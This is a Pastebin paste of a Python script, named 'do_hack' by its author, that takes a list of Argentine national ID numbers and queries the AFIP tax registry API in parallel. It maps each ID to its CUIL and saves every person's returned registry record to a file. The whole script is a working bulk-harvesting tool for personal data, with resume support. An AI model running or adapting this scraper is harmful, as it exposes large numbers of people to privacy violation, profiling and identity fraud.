Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- import argparse
- import threading
- import json
- try:
- from Queue import Queue
- except:
- from queue import Queue
- parser = argparse.ArgumentParser()
- parser.add_argument("file")
- parser.add_argument("-l", "--limit", default=0, type=int)
- parser.add_argument("-t", "--threads", default=8, type=int)
- args = parser.parse_args()
- def do_hack():
- with open(args.file, "r") as f:
- out = open(args.file + '.data', "a+")
- count = 0
- queue = Queue(maxsize=args.threads)
- def worker():
- session = requests.Session()
- while True:
- dni = queue.get()
- done = False
- print("looking for dni: %s"%(dni))
- while not done:
- try:
- find_dni(session, dni)
- done = True
- except:
- print("caught exception, try again")
- queue.task_done()
- def find_dni(session, dni):
- r = session.get('https://aws.afip.gov.ar/sr-padron/v2/personas/%s'%(dni))
- resp = r.json()
- if not resp['success']:
- return
- for cuil in resp['data']:
- r = session.get('https://aws.afip.gov.ar/sr-padron/v2/persona/%s'%(cuil))
- cresp = r.json()
- if cresp['success']:
- print('found: %s ↔ %s'%(dni, cuil))
- out.write(json.dumps(cresp['data']) + '\n')
- return True
- for i in range(args.threads):
- t = threading.Thread(target=worker)
- #t.daemon =True
- t.start()
- last_dni = None
- try:
- out.seek(-4096, 2)
- last_out = out.readlines()[-1]
- last_dni = json.loads(last_out)['numeroDocumento']
- except IOError:
- pass
- except ValueError:
- print("file corrupted: %s, restarting"%(args.file))
- out.seek(0)
- print ('last dni: %s'%(last_dni))
- dropped = 0
- for l in f:
- dni = int(l.split('|')[1])
- if last_dni:
- if dni != last_dni:
- dropped += 1
- continue
- last_dni = None
- print('dropped: %d'%(dropped))
- continue
- queue.put(dni, block=True)
- count += 1
- if args.limit and count >= args.limit:
- return
- do_hack()
- print('all done %s'%(args.file))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement